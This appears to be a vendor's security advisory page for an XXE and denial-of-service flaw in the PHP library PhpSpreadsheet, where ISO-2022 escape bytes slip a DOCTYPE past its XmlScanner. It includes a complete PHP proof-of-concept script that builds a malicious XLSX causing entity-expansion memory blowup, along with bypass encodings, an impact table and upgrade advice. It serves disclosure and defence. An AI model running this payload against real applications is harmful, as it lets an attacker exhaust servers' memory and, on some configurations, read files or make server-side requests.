CVE-2026-108358

CVE-2026-108358 is a high-severity XML external entity injection (XXE) vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 4.0.0, <= 5.9.0. It is fixed in 5.10.0, 3.10.8, 2.4.8, 2.1.19, 1.30.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service

PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.

Details

The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.

The scanner builds a regex pattern /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.

The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexml_load_string(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.

Seven ISO-2022 encoding variants bypass the scanner:

  • ISO-2022-JP (ESC ( B)
  • ISO-2022-JP-2 (ESC $ B)
  • ISO-2022-KR (ESC $ ) C)
  • ISO-2022-CN (ESC $ ) A)
  • ISO-2022-CN-EXT (ESC $ ) G)
  • ISO-2022-JP-2004 (ESC $ ( Q)
  • ISO-2022-JP-MS (ESC & @ ESC $ B)

Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.

PoC

Save the following as poc_iso2022.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)
$esc = "\x1b\x28\x42";

// Build <!DOCTYPE with ESC bytes between each character
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";

// Internal entity for DoS (works on ALL PHP versions)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
    . $doctype . ' sst [' . "\n"
    . '  <!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
    . '<si><t>' . $refs . '</t></si></sst>';

// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
    '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
    .'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
    .'<Default Extension="xml" ContentType="application/xml"/>'
    .'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
    .'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
    .'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
    .'</Types>');
$xlsx->addFromString('_rels/.rels',
    '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
    .'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
    '<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
    .'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>');
$xlsx->addFromString('xl/_rels/workbook.xml.rels',
    '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>'
    .'<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>'
    .'</Relationships>');
$xlsx->addFromString('xl/worksheets/sheet1.xml',
    '<?xml version="1.0"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
    .'<sheetData><row r="1"><c r="A1" t="s"><v>0</v></c></row></sheetData></worksheet>');
$xlsx->addFromString('xl/sharedStrings.xml', $shared_strings);
$xlsx->close();

echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n";

// Load with PhpSpreadsheet
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx();
$reader->setReadDataOnly(true);
$spreadsheet = $reader->load('poc.xlsx');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_iso2022.php

Expected result: The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file.

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

Attack PHP < 8.0 / libxml2 < 2.9 PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup) Exploitable Exploitable
Local file read via SYSTEM entity Exploitable Blocked by default
SSRF via SYSTEM entity Exploitable Blocked by default
File read when LIBXML_NOENT is used Exploitable Exploitable

Any application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.

An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs. Typical impact: local file disclosure, server-side request forgery, or denial of service.

Affected versions

phpoffice/phpspreadsheet (>= 4.0.0, <= 5.9.0) phpoffice/phpspreadsheet (>= 3.3.0, <= 3.10.7) phpoffice/phpspreadsheet (>= 2.2.0, <= 2.4.7) phpoffice/phpspreadsheet (>= 2.0.0, <= 2.1.18) phpoffice/phpspreadsheet (<= 1.30.6)

Security releases

phpoffice/phpspreadsheet → 5.10.0 (composer) phpoffice/phpspreadsheet → 3.10.8 (composer) phpoffice/phpspreadsheet → 2.4.8 (composer) phpoffice/phpspreadsheet → 2.1.19 (composer) phpoffice/phpspreadsheet → 1.30.7 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

phpoffice/phpspreadsheet to 5.10.0 or later; phpoffice/phpspreadsheet to 3.10.8 or later; phpoffice/phpspreadsheet to 2.4.8 or later; phpoffice/phpspreadsheet to 2.1.19 or later; phpoffice/phpspreadsheet to 1.30.7 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-108358? CVE-2026-108358 is a high-severity XML external entity injection (XXE) vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 4.0.0, <= 5.9.0. It is fixed in 5.10.0, 3.10.8, 2.4.8, 2.1.19, 1.30.7. An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs.
  2. Which versions of phpoffice/phpspreadsheet are affected by CVE-2026-108358? phpoffice/phpspreadsheet (composer) versions >= 4.0.0, <= 5.9.0 is affected.
  3. Is there a fix for CVE-2026-108358? Yes. CVE-2026-108358 is fixed in 5.10.0, 3.10.8, 2.4.8, 2.1.19, 1.30.7. Upgrade to this version or later.
  4. Is CVE-2026-108358 exploitable, and should I be worried? Whether CVE-2026-108358 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-108358 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-108358?
    • Upgrade phpoffice/phpspreadsheet to 5.10.0 or later
    • Upgrade phpoffice/phpspreadsheet to 3.10.8 or later
    • Upgrade phpoffice/phpspreadsheet to 2.4.8 or later
    • Upgrade phpoffice/phpspreadsheet to 2.1.19 or later
    • Upgrade phpoffice/phpspreadsheet to 1.30.7 or later

Other vulnerabilities in phpoffice/phpspreadsheet

Stop the waste.
Protect your environment with Kodem.